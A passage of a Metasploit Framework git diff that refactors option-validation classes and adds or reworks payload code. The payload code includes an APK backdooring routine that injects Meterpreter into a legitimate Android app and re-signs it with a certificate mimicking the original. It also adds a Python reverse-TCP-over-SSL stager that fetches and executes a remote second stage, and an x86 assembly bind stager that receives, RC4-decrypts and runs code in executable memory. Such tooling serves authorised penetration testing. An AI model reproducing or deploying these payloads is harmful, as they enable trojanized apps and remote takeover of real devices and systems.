#{clause})" - end - - causal_message = message_parts.join(' ') - - super_attributes = { - :causal_message => causal_message - }.merge(attributes) - - super(super_attributes) - end - - # @return [Float] The minimum value of {Msf::Framework::VersionAPI} for the module to be compatible. - attr_reader :minimum_api_version - # @return [Float] The minimum value of {Msf::Framework::VersionCore} for the module to be compatible. - attr_reader :minimum_core_version - # @return [String] the path to the module that declared the RequiredVersions - attr_reader :module_path - # @return [String] the module reference name that declared the RequiredVersions - attr_reader :module_reference_name -end \ No newline at end of file diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 3df70e099a..a1a53a2c87 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -51,6 +51,13 @@ module Msf Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) end + # @return [OptEnum] + def self.SSLVersion + Msf::OptEnum.new('SSLVersion', [ false, + 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto', + ['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]) + end + # These are unused but remain for historical reasons class << self alias builtin_chost CHOST @@ -69,6 +76,7 @@ module Msf Proxies = Proxies() RHOST = RHOST() RPORT = RPORT() + SSLVersion = SSLVersion() end end diff --git a/lib/msf/core/opt_address.rb b/lib/msf/core/opt_address.rb index be7f62f81e..1558c81199 100644 --- a/lib/msf/core/opt_address.rb +++ b/lib/msf/core/opt_address.rb @@ -12,8 +12,8 @@ class OptAddress < OptBase return 'address' end - def valid?(value) - return false if empty_required_value?(value) + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) return false unless value.kind_of?(String) or value.kind_of?(NilClass) if (value != nil and value.empty? == false) diff --git a/lib/msf/core/opt_address_range.rb b/lib/msf/core/opt_address_range.rb index 50c1653971..569c413390 100644 --- a/lib/msf/core/opt_address_range.rb +++ b/lib/msf/core/opt_address_range.rb @@ -12,11 +12,15 @@ class OptAddressRange < OptBase return 'addressrange' end + def validate_on_assignment? + false + end + def normalize(value) return nil unless value.kind_of?(String) if (value =~ /^file:(.*)/) path = $1 - return false if not File.exists?(path) or File.directory?(path) + return false if not File.exist?(path) or File.directory?(path) return File.readlines(path).map{ |s| s.strip}.join(" ") elsif (value =~ /^rand:(.*)/) count = $1.to_i @@ -31,8 +35,8 @@ class OptAddressRange < OptBase return value end - def valid?(value) - return false if empty_required_value?(value) + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) return false unless value.kind_of?(String) or value.kind_of?(NilClass) if (value != nil and value.empty? == false) diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb index 566f53703f..0f48002aea 100644 --- a/lib/msf/core/opt_base.rb +++ b/lib/msf/core/opt_base.rb @@ -75,20 +75,23 @@ module Msf return (type == in_type) end + # + # Returns true if this option can be validated on assignment + # + def validate_on_assignment? + true + end + # # If it's required and the value is nil or empty, then it's not valid. # - def valid?(value) - if required? + def valid?(value, check_empty: true) + if check_empty && required? # required variable not set - return false if (value == nil or value.to_s.empty?) + return false if (value.nil? || value.to_s.empty?) end if regex - if value.match(regex) - return true - else - return false - end + return !!value.match(regex) end return true end diff --git a/lib/msf/core/opt_bool.rb b/lib/msf/core/opt_bool.rb index eccb11f697..a003817f21 100644 --- a/lib/msf/core/opt_bool.rb +++ b/lib/msf/core/opt_bool.rb @@ -15,7 +15,7 @@ class OptBool < OptBase return 'bool' end - def valid?(value) + def valid?(value, check_empty: true) return false if empty_required_value?(value) if ((value != nil and diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb index bfe0754ecf..168c74b3dc 100644 --- a/lib/msf/core/opt_enum.rb +++ b/lib/msf/core/opt_enum.rb @@ -13,8 +13,8 @@ class OptEnum < OptBase return 'enum' end - def valid?(value=self.value) - return false if empty_required_value?(value) + def valid?(value=self.value, check_empty: true) + return false if check_empty && empty_required_value?(value) return true if value.nil? and !required? (value and self.enums.include?(value.to_s)) diff --git a/lib/msf/core/opt_int.rb b/lib/msf/core/opt_int.rb index bf0b451c69..047c9ab05f 100644 --- a/lib/msf/core/opt_int.rb +++ b/lib/msf/core/opt_int.rb @@ -13,18 +13,19 @@ class OptInt < OptBase end def normalize(value) - if (value.to_s.match(/^0x[a-fA-F\d]+$/)) + if value.to_s.match(/^0x[a-fA-F\d]+$/) value.to_i(16) - else + elsif value.present? value.to_i + else + nil end end - def valid?(value) - return super if !required? and value.to_s.empty? - return false if empty_required_value?(value) + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) - if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) + if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) return false end diff --git a/lib/msf/core/opt_path.rb b/lib/msf/core/opt_path.rb index 6a40d48fef..2dd1107f83 100644 --- a/lib/msf/core/opt_path.rb +++ b/lib/msf/core/opt_path.rb @@ -12,14 +12,22 @@ class OptPath < OptBase return 'path' end + def normalize(value) + value.nil? ? value : File.expand_path(value) + end + + def validate_on_assignment? + false + end + # Generally, 'value' should be a file that exists. - def valid?(value) - return false if empty_required_value?(value) + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) if value and !value.empty? if value =~ /^memory:\s*([0-9]+)/i return false unless check_memory_location($1) else - unless File.exists?(value) + unless File.exist?(File.expand_path(value)) return false end end diff --git a/lib/msf/core/opt_port.rb b/lib/msf/core/opt_port.rb index 295ae04538..115c720d13 100644 --- a/lib/msf/core/opt_port.rb +++ b/lib/msf/core/opt_port.rb @@ -7,24 +7,14 @@ module Msf # Network port option. # ### -class OptPort < OptBase +class OptPort < OptInt def type return 'port' end - def normalize(value) - value.to_i - end - - def valid?(value) - return false if empty_required_value?(value) - - if ((value != nil and value.to_s.empty? == false) and - ((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535))) - return false - end - - return super + def valid?(value, check_empty: true) + port = normalize(value).to_i + super && port <= 65535 && port >= 0 end end diff --git a/lib/msf/core/opt_raw.rb b/lib/msf/core/opt_raw.rb index 7da13693d9..b144334165 100644 --- a/lib/msf/core/opt_raw.rb +++ b/lib/msf/core/opt_raw.rb @@ -12,8 +12,12 @@ class OptRaw < OptBase return 'raw' end + def validate_on_assignment? + false + end + def normalize(value) - if (value =~ /^file:(.*)/) + if (value.to_s =~ /^file:(.*)/) path = $1 begin value = File.read(path) diff --git a/lib/msf/core/opt_regexp.rb b/lib/msf/core/opt_regexp.rb index d7056dd63b..36900de610 100644 --- a/lib/msf/core/opt_regexp.rb +++ b/lib/msf/core/opt_regexp.rb @@ -12,24 +12,27 @@ class OptRegexp < OptBase return 'regexp' end - def valid?(value) - unless super + def valid?(value, check_empty: true) + if check_empty && empty_required_value?(value) return false + elsif value.nil? + return true end - return true if (not required? and value.nil?) begin Regexp.compile(value) - - return true + return super rescue RegexpError, TypeError return false end end def normalize(value) - return nil if value.nil? - return Regexp.compile(value) + if value.nil? || value.kind_of?(Regexp) + value + else + Regexp.compile(value.to_s) + end end def display_value(value) @@ -38,8 +41,7 @@ class OptRegexp < OptBase elsif value.kind_of?(String) return display_value(normalize(value)) end - - return super + super end end diff --git a/lib/msf/core/opt_string.rb b/lib/msf/core/opt_string.rb index 88818cb036..278a56fed4 100644 --- a/lib/msf/core/opt_string.rb +++ b/lib/msf/core/opt_string.rb @@ -12,8 +12,12 @@ class OptString < OptBase return 'string' end + def validate_on_assignment? + false + end + def normalize(value) - if (value =~ /^file:(.*)/) + if (value.to_s =~ /^file:(.*)/) path = $1 begin value = File.read(path) @@ -24,9 +28,9 @@ class OptString < OptBase value end - def valid?(value=self.value) + def valid?(value=self.value, check_empty: true) value = normalize(value) - return false if empty_required_value?(value) + return false if check_empty && empty_required_value?(value) return super end end diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index dcfc550e9f..a500a4297d 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -28,7 +28,7 @@ class Payload < Msf::Module require 'msf/core/payload/windows' require 'msf/core/payload/netware' require 'msf/core/payload/java' - require 'msf/core/payload/dalvik' + require 'msf/core/payload/android' require 'msf/core/payload/firefox' require 'msf/core/payload/mainframe' diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/android.rb similarity index 50% rename from lib/msf/core/payload/dalvik.rb rename to lib/msf/core/payload/android.rb index 088345be71..778e92856a 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/android.rb @@ -1,7 +1,13 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/payload/uuid/options' +require 'msf/core/payload/transport_config' +require 'rex/payloads/meterpreter/config' -module Msf::Payload::Dalvik +module Msf::Payload::Android + + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options # # Fix the dex header checksum and signature @@ -31,25 +37,39 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end - def apply_options(classes) - timeouts = [ - datastore['SessionExpirationTimeout'].to_s, - datastore['SessionCommunicationTimeout'].to_s, - datastore['SessionRetryTotal'].to_s, - datastore['SessionRetryWait'].to_s - ].join('-') - string_sub(classes, 'TTTT ', 'TTTT' + timeouts) + def apply_options(classes, opts) + config = generate_config_bytes(opts) + if opts[:stageless] + config[0] = "\x01" + end + + string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config) + end + + def generate_config_bytes(opts={}) + opts[:uuid] ||= generate_payload_uuid + + config_opts = { + ascii_str: true, + arch: opts[:uuid].arch, + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)] + } + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b end def string_sub(data, placeholder="", input="") - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length)) end - def generate_cert + def sign_jar(jar) x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) + "C=US/O=Android/CN=Android Debug" + ) + key = OpenSSL::PKey::RSA.new(2048) cert = OpenSSL::X509::Certificate.new cert.version = 2 cert.serial = 1 @@ -74,7 +94,32 @@ module Msf::Payload::Dalvik # If this line is left out, signature verification fails on OSX. cert.sign(key, OpenSSL::Digest::SHA1.new) - return cert, key + jar.sign(key, cert, [cert]) end + + def generate_jar(opts={}) + if opts[:stageless] + classes = MetasploitPayloads.read('android', 'meterpreter.dex') + else + classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') + end + + apply_options(classes, opts) + + jar = Rex::Zip::Jar.new + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + jar.add_files(files, MetasploitPayloads.path("android", "apk")) + jar.add_file("classes.dex", fix_dex_header(classes)) + jar.build_manifest + + sign_jar(jar) + + jar + end + + end diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 7aa9c34bb6..1abf4840bd 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -7,15 +7,9 @@ require 'nokogiri' require 'fileutils' require 'optparse' require 'open3' +require 'date' -module Msf::Payload::Apk - - class ApkBackdoor - include Msf::Payload::Apk - def backdoor_apk(apk, payload) - backdoor_payload(apk, payload) - end - end +class Msf::Payload::Apk def print_status(msg='') $stderr.puts "[*] #{msg}" @@ -65,72 +59,81 @@ module Msf::Payload::Apk end end - def fix_manifest(tempdir) - payload_permissions=[] - - #Load payload's permissions - File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| - k=File.read(file) - payload_manifest=Nokogiri::XML(k) - permissions = payload_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - payload_permissions << name.to_s - end + def parse_manifest(manifest_file) + File.open(manifest_file, "rb"){|file| + data = File.read(file) + return Nokogiri::XML(data) } - - original_permissions=[] - apk_mani="" - - #Load original apk's permissions - File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| - k=File.read(file2) - apk_mani=k - original_manifest=Nokogiri::XML(k) - permissions = original_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - original_permissions << name.to_s - end - } - - #Get permissions that are not in original APK - add_permissions=[] - for permission in payload_permissions - if !(original_permissions.include? permission) - print_status("Adding #{permission}") - add_permissions << permission - end - end - - inject=0 - new_mani="" - #Inject permissions in original APK's manifest - for line in apk_mani.split("\n") - if (line.include? "uses-permission" and inject==0) - for permission in add_permissions - new_mani << ''+"\n" - end - new_mani << line+"\n" - inject=1 - else - new_mani << line+"\n" - end - end - File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } end - def backdoor_payload(apkfile, raw_payload) + def fix_manifest(tempdir) + #Load payload's manifest + payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") + payload_permissions = payload_manifest.xpath("//manifest/uses-permission") + + #Load original apk's manifest + original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") + original_permissions = original_manifest.xpath("//manifest/uses-permission") + + manifest = original_manifest.xpath('/manifest') + old_permissions = [] + for permission in original_permissions + name = permission.attribute("name").to_s + old_permissions << name + end + for permission in payload_permissions + name = permission.attribute("name").to_s + unless old_permissions.include?(name) + print_status("Adding #{name}") + original_permissions.before(permission.to_xml) + end + end + + application = original_manifest.at_xpath('/manifest/application') + application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml + application << payload_manifest.at_xpath('/manifest/application/service').to_xml + + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml } + end + + def parse_orig_cert_data(orig_apkfile) + orig_cert_data = Array[] + keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}") + owner_line = keytool_output.match(/^Owner:.+/)[0] + orig_cert_dname = owner_line.gsub(/^.*:/, '').strip + orig_cert_data.push("#{orig_cert_dname}") + valid_from_line = keytool_output.match(/^Valid from:.+/)[0] + from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip + to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip + from_date = DateTime.parse("#{from_date_str}") + orig_cert_data.push(from_date.strftime("%Y/%m/%d %T")) + to_date = DateTime.parse("#{to_date_str}") + validity = (to_date - from_date).to_i + orig_cert_data.push("#{validity}") + return orig_cert_data + end + + def backdoor_apk(apkfile, raw_payload) unless apkfile && File.readable?(apkfile) usage raise RuntimeError, "Invalid template: #{apkfile}" end + keytool = run_cmd("keytool") + unless keytool != nil + raise RuntimeError, "keytool not found. If it's not in your PATH, please add it." + end + jarsigner = run_cmd("jarsigner") unless jarsigner != nil raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it." end + zipalign = run_cmd("zipalign") + unless zipalign != nil + raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it." + end + apktool = run_cmd("apktool -version") unless apktool != nil raise RuntimeError, "apktool not found. If it's not in your PATH, please add it." @@ -144,6 +147,21 @@ module Msf::Payload::Apk #Create temporary directory where work will be done tempdir = Dir.mktmpdir + keystore = "#{tempdir}/signing.keystore" + storepass = "android" + keypass = "android" + keyalias = "signing.key" + orig_cert_data = parse_orig_cert_data(apkfile) + orig_cert_dname = orig_cert_data[0] + orig_cert_startdate = orig_cert_data[1] + orig_cert_validity = orig_cert_data[2] + + print_status "Creating signing key and keystore..\n" + run_cmd("keytool -genkey -v -keystore #{keystore} \ + -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \ + -keysize 2048 -startdate '#{orig_cert_startdate}' \ + -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'") + File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } FileUtils.cp apkfile, "#{tempdir}/original.apk" @@ -152,9 +170,7 @@ module Msf::Payload::Apk print_status "Decompiling payload APK..\n" run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - f = File.open("#{tempdir}/original/AndroidManifest.xml") - amanifest = Nokogiri::XML(f) - f.close + amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") print_status "Locating hook point..\n" launcheractivity = find_launcher_activity(amanifest) @@ -178,25 +194,46 @@ module Msf::Payload::Apk raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n" end - print_status "Copying payload files..\n" - FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") - FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" + # Remove unused files + FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali" + FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali") - payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + package = amanifest.xpath("//manifest").first['package'] + package_slash = package.gsub(/\./, "/") + print_status "Adding payload as package #{package}\n" + payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") + payload_dir = "#{tempdir}/original/smali/#{package_slash}/" + FileUtils.mkdir_p payload_dir + + # Copy over the payload files, fixing up the smali code + payload_files.each do |file_name| + smali = File.read(file_name) + newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash) + newfilename = "#{payload_dir}#{File.basename file_name}" + File.open(newfilename, "wb") {|file| file.puts newsmali } + end + + payloadhook = entrypoint + %Q^ + invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V + ^ hookedsmali = activitysmali.gsub(entrypoint, payloadhook) print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } + injected_apk = "#{tempdir}/output.apk" + aligned_apk = "#{tempdir}/aligned.apk" print_status "Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") print_status "Signing #{injected_apk}\n" - run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}") + print_status "Aligning #{injected_apk}\n" + run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}") - outputapk = File.read(injected_apk) + outputapk = File.read(aligned_apk) FileUtils.remove_entry tempdir outputapk diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index d61b2190cc..46015019f6 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -107,5 +107,41 @@ module Msf::Payload::Java zip end -end + # + # Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}. + # Stagers define a list of class files in @class_files which are pulled + # from the MetasploitPayloads gem. The configuration file is created by + # the payload's #config method. + # + # @option :app_name [String] Name of the Service in services.xml. Defaults to random. + # @return [Rex::Zip::Jar] + def generate_axis2(opts={}) + raise if not respond_to? :config + app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8) + + services_xml = %Q{ +#{Rex::Text.rand_text_alphanumeric(50 + rand(50))} +metasploit.PayloadServlet + + + + +} + + paths = [ + [ 'metasploit', 'Payload.class' ], + [ 'metasploit', 'PayloadServlet.class' ] + ] + @class_files + + zip = Rex::Zip::Jar.new + zip.add_file('META-INF/', '') + zip.add_file('META-INF/services.xml', services_xml) + zip.add_files(paths, MetasploitPayloads.path('java')) + zip.add_file('metasploit.dat', config) + zip.build_manifest(:app_name => app_name) + + zip + end + +end diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index a8de052bc6..57fe553c85 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -30,7 +30,7 @@ module Payload::Linux::BindTcp } # Generate the more advanced stager if we have the space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'], conf[:reliable] = true end diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index bad961c820..44e0d5a66e 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -33,7 +33,7 @@ module Payload::Linux::ReverseTcp } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/mainframe.rb b/lib/msf/core/payload/mainframe.rb index 04f5cf29bf..776fcda0e5 100644 --- a/lib/msf/core/payload/mainframe.rb +++ b/lib/msf/core/payload/mainframe.rb @@ -2,32 +2,56 @@ require 'msf/core' ### -# # This class is here to implement advanced features for mainframe based # payloads. Mainframe payloads are expected to include this module if # they want to support these features. -# ### module Msf::Payload::Mainframe - - # - # Z notes - # Z notes - # def initialize(info = {}) - ret = super(info) + super(info) end - # + ## # Returns a list of compatible encoders based on mainframe architecture # most will not work because of the different architecture # an XOR-based encoder will be defined soon - # + ## def compatible_encoders - encoders = super() - encoders2 = ['/generic\/none/','none'] - - return encoders2 + encoders2 = ['/generic\/none/', 'none'] + encoders2 end + ### + # This method is here to implement advanced features for cmd:jcl based + # payloads. Common to all are the JCL Job Card, and its options which + # are defined here. It is optional for other mainframe payloads. + ### + def jcl_jobcard + # format paramaters with basic constraints + # see http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/ + # com.ibm.zos.v2r1.ieab600/iea3b6_Parameter_field8.htm + # + jobname = format('%1.8s', datastore['JOBNAME']).strip.upcase + actnum = format('%1.60s', datastore['ACTNUM']).strip.upcase + pgmname = format('%1.20s', datastore['PGMNAME']).strip + jclass = format('%1.1s', datastore['JCLASS']).strip.upcase + notify = format('%1.8s', datastore['NOTIFY']).strip.upcase + notify = if !notify.empty? && datastore['NTFYUSR'] + "// NOTIFY=#{notify}, \n" + else + "" + end + msgclass = format('%1.1s', datastore['MSGCLASS']).strip.upcase + msglevel = format('%5.5s', datastore['MSGLEVEL']).strip + + # build payload + "//#{jobname} JOB " \ + "(#{actnum}),\n" \ + "// '#{pgmname}',\n" \ + "// CLASS=#{jclass},\n" \ + "#{notify}" \ + "// MSGCLASS=#{msgclass},\n" \ + "// MSGLEVEL=#{msglevel},\n" \ + "// REGION=0M \n" + end end diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index a7b494ce30..6940c3bb13 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -25,7 +25,7 @@ module Msf::Payload::Php # Canonicalize the list of disabled functions to facilitate choosing a # system-like function later. - preamble = " + preamble = "/* self.available_space diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb new file mode 100644 index 0000000000..e16eaf003a --- /dev/null +++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb @@ -0,0 +1,66 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/python/reverse_tcp' + +module Msf + +### +# +# Complex reverse_tcp_ssl payload generation for Python +# +### + +module Payload::Python::ReverseTcpSsl + + include Msf::Payload::Python + include Msf::Payload::Python::ReverseTcp + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'] + } + + generate_reverse_tcp_ssl(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def supports_ssl? + true + end + + def generate_reverse_tcp_ssl(opts={}) + # Set up the socket + cmd = "import ssl,socket,struct\n" + cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 + cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "s=ssl.wrap_socket(so)\n" + cmd << py_send_uuid if include_send_uuid + cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d) self.available_space + if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'], conf[:reliable] = true end @@ -72,6 +72,7 @@ module Payload::Windows::BindTcp start: pop ebp #{asm_bind_tcp(opts)} + #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end @@ -192,7 +193,17 @@ module Payload::Windows::BindTcp asm << asm_send_uuid if include_send_uuid - asm << %Q^ + asm + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_block_recv(opts={}) + reliable = opts[:reliable] + asm = %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags diff --git a/lib/msf/core/payload/windows/bind_tcp_rc4.rb b/lib/msf/core/payload/windows/bind_tcp_rc4.rb new file mode 100644 index 0000000000..d8cdbddb97 --- /dev/null +++ b/lib/msf/core/payload/windows/bind_tcp_rc4.rb @@ -0,0 +1,158 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/bind_tcp' +require 'msf/core/payload/windows/rc4' + +module Msf + +### +# +# Complex bind_tcp_rc4 payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::BindTcpRc4 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows::BindTcp + include Msf::Payload::Windows::Rc4 + + # + # Generate the first stage + # + def generate + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + conf = { + port: datastore['LPORT'], + xorkey: xorkey, + rc4key: rc4key, + reliable: false + } + + # Generate the more advanced stager if we have the space + if self.available_space && required_space <= self.available_space + conf[:exitfunk] = datastore['EXITFUNC'], + conf[:reliable] = true + end + + generate_bind_tcp_rc4(conf) + end + + # + # Generate and compile the stager + # + def generate_bind_tcp_rc4(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_bind_tcp(opts)} + #{asm_block_recv_rc4(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + def asm_block_recv_rc4(opts={}) + xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp + reliable = opts[:reliable] + asm = %Q^ + recv: + ; Receive the size of the incoming second stage... + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, &dwLength, 4, 0 ); + ^ + + # Check for a failed recv() call + if reliable + asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + xor esi, #{xorkey} ; XOR the stage length + lea ecx, [esi+0x100] ; ECX = stage length + S-box length (alloc length) + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + ; push esi ; push the newly recieved second stage length. + push ecx ; push the alloc length + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + ; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box + lea ebx, [eax+0x100] ; EBX = new stage address + push ebx ; push the address of the new stage so we can return into it + push esi ; push stage length + push eax ; push the address of the S-box + read_more: ; + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, buffer, length, 0 ); + ^ + + # Check for a failed recv() call + if reliable + asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received + ; test esi, esi ; test length + jnz read_more ; continue if we have more to read + pop ebx ; address of S-box + pop ecx ; stage length + pop ebp ; address of stage + push ebp ; push back so we can return into it + push edi ; save socket + mov edi, ebx ; address of S-box + call after_key ; Call after_key, this pushes the address of the key onto the stack. + db #{raw_to_db(opts[:rc4key])} + after_key: + pop esi ; ESI = RC4 key + #{asm_decrypt_rc4} + pop edi ; restore socket + ret ; return into the second stage + ^ + + if reliable + if opts[:exitfunk] + asm << %Q^ + failure: + ^ + asm << asm_exitfunk(opts) + else + asm << %Q^ + failure: + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + call ebp + ^ + end + end + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 58ad420cfe..b9f3bf0669 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -28,7 +28,7 @@ module Msf::Payload::Windows::PrependMigrate # for discussion. # def prepend_migrate? - !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') + datastore['PrependMigrate'] end # @@ -461,9 +461,9 @@ module Msf::Payload::Windows::PrependMigrate ; create the process push 0 ; keep the stack aligned - lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation + lea rdi,[rsp+0x120] ; Offset of empty space for lpProcessInformation push rdi ; lpProcessInformation : write processinfo here - lea rcx,[rsp+0x58] + lea 